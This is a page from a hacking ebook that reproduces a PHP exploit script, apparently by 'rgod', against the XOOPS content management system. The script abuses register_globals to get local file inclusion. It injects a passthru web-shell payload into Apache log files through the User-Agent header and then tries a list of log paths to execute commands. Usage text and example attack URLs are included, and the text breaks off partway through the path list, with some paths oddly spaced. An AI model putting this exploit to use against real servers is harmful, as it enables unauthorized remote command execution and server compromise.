Hacker Professional Ebook part 442 pps

echo "by rgod rgod@autistici.org\r\n";

echo "site: http://retrogod.altervista.org\r\n\r\n";

/*

works with:

magic_quotes_gpc = Off

register_globals = On

*/

if ($argc<4) {

echo "Usage: php ".$argv[0]." host path cmd OPTIONS\r\n";

echo "host: target server (ip/hostname)\r\n";

echo "path: path to xoops\r\n";

echo "cmd: a shell command\r\n";

echo "Options:\r\n";

echo " -p[port]: specify a port other than 80\r\n";

echo " -P[ip:port]: specify a proxy\r\n";

echo "Examples:\r\n";

echo "php ".$argv[0]." localhost /xoops/ \r\n";

echo "php ".$argv[0]." localhost /xoops/ ls -la -p81\r\n";

echo "php ".$argv[0]." localhost / ls -la -P1.1.1.1:80\r\n";

die;

}

/* hi, back from my annual social engineering tour, this year in Milan ;)

welcome to this new 0day experience

explaination:

vulnerable code in mainfile.php at lines 94-96:

if (!isset($xoopsOption['nocommon']) && XOOPS_ROOT_PATH != '') {

include XOOPS_ROOT_PATH."/include/common.php";

}

if register_globals = On you can overwrite $xoopsOption['nocommon'] var, to skip common.php inclusion where $xoopsConfig['language'] and

$xoopsConfig['theme_set] are initialized, so, if magic_quotes_gpc=Off

you can include arbitrary files from local resources, ex., Apache log files:

http://[target]/[path]/misc.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[language]= / / / / / / / / / /var/l og/httpd/access_log%00

http://[target]/[path]/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]= / / / / / / / / / /var /log/httpd/error_log%00

or, if avatar uploads are enabled:

http://[target]/xoops/html/index.php?cmd=ls%20-la&xoopsOption[nocommon]=1&xoopsConfig[theme_set]= /uploads/cavt44703c3 0d3dbf.jpg%00

this tool inject some php code in apache log files and try to launch commands

*/

error_reporting(0);

ini_set("max_execution_time",0);

ini_set("default_socket_timeout",5);

function quick_dump($string)

{

$result='';$exa='';$cont=0;

for ($i=0; $i<=strlen($string)-1; $i++)

{

if ((ord($string[$i]) <= 32 ) | (ord($string[$i]) > 126 ))

{$result.=" ";}

else

{$result.=" ".$string[$i];}

if (strlen(dechex(ord($string[$i])))==2)

{$exa.=" ".dechex(ord($string[$i]));}

else

{$exa.=" 0".dechex(ord($string[$i]));}

$cont++;if ($cont==15) {$cont=0; $result.="\r\n"; $exa.="\r\n";}

}

return $exa."\r\n".$result;

}

$proxy_regex = '(\b\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}\:\d{1,5}\b)';

function sendpacketii($packet)

{

global $proxy, $host, $port, $html, $proxy_regex;

if ($proxy=='') {

$ock=fsockopen(gethostbyname($host),$port);

if (!$ock) {

echo 'No response from '.$host.':'.$port; die;

}

}

else {

$c = preg_match($proxy_regex,$proxy);

if (!$c) {

echo 'Not a valid proxy ';die;

}

$parts=explode(':',$proxy);

echo "Connecting to ".$parts[0].":".$parts[1]." proxy \r\n";

$ock=fsockopen($parts[0],$parts[1]);

if (!$ock) {

echo 'No response from proxy ';die;

}

}

fputs($ock,$packet);

if ($proxy=='') {

$html='';

while (!feof($ock)) {

$html.=fgets($ock);

}

}

else {

$html='';

while ((!feof($ock)) or (!eregi(chr(0x0d).chr(0x0a).chr(0x0d).chr(0x0a),$html))) {

$html.=fread($ock,1);

}

}

fclose($ock);

#debug

#echo "\r\n".$html;

}

$host=$argv[1];

$path=$argv[2];

$cmd="";$port=80;$proxy="";

for ($i=3; $i<=$argc-1; $i++){

$temp=$argv[$i][0].$argv[$i][1];

if (($temp<>"-p") and ($temp<>"-P"))

{$cmd.=" ".$argv[$i];}

if ($temp=="-p")

{

$port=str_replace("-p","",$argv[$i]);

}

if ($temp=="-P")

{

$proxy=str_replace("-P","",$argv[$i]);

}

}

$cmd=urlencode($cmd);

if (($path[0]<>'/') or ($path[strlen($path)-1]<>'/')) {echo 'Error check the path!'; die;}

if ($proxy=='') {$p=$path;} else {$p='http://'.$host.':'.$port.$path;}

echo "[1] Injecting some code in log files \r\n\r\n";

$CODE="*delim*<?php

error_reporting(0);set_time_limit(0);passthru(\$_COOKIE[cmd]);die;?>";

$packet="GET ".$p.$CODE." HTTP/1.0\r\n";

$packet.="User-Agent: ".$CODE." Googlebot/2.1\r\n";

$packet.="Host: ".$host."\r\n";

$packet.="Connection: close\r\n\r\n";

sendpacketii($packet);

sleep(1);

//fill with possible locations

$paths=array(

" / / / / / / / / / /var/log/httpd/access_log",

" / / / / / / / / / /var/log/httpd/error_log",

" /apache/logs/error.log",

" /apache/logs/access.log",

" / /apache/logs/error.log",

" / /apache/logs/access.log",

" / / /apache/logs/error.log",

" / / /apache/logs/access.log",

" / / / /apache/logs/error.log",

" / / / /apache/logs/access.log",

" / / / / /apache/logs/error.log",

" / / / / /apache/logs/access.log",

" / / / / / /apache/logs/error.log",

" / / / / / /apache/logs/access.log",

" /logs/error.log",

" /logs/access.log",

" / /logs/error.log",

" / /logs/access.log",

" / / /logs/error.log",

" / / /logs/access.log",

" / / / /logs/error.log",

" / / / /logs/access.log",

" / / / / /logs/error.log",

" / / / / /logs/access.log",

" / / / / / /logs/error.log",

" / / / / / /logs/access.log",

" / / / / / / / / / /etc/httpd/logs/acces_log",

" / / / / / / / / / /etc/httpd/logs/acces.log",

" / / / / / / / / / /etc/httpd/logs/error_log",

" / / / / / / / / / /etc/httpd/logs/error.log",

" / / / / / / / / / /var/www/logs/access_log",

" / / / / / / / / / /var/www/logs/access.log",

" / / / / / / / / / /usr/local/apache/logs/access_log",

" / / / / / / / / / /usr/local/apache/logs/access.log",

" / / / / / / / / / /var/log/apache/access_log",

" / / / / / / / / / /var/log/apache/access.log",

" / / / / / / / / / /var/log/access_log",

" / / / / / / / / / /var/www/logs/error_log",

" / / / / / / / / / /var/www/logs/error.log",

" / / / / / / / / / /usr/local/apache/logs/error_log",

" / / / / / / / / / /usr/local/apache/logs/error.log",

" / / / / / / / / / /var/log/apache/error_log",

" / / / / / / / / / /var/log/apache/error.log",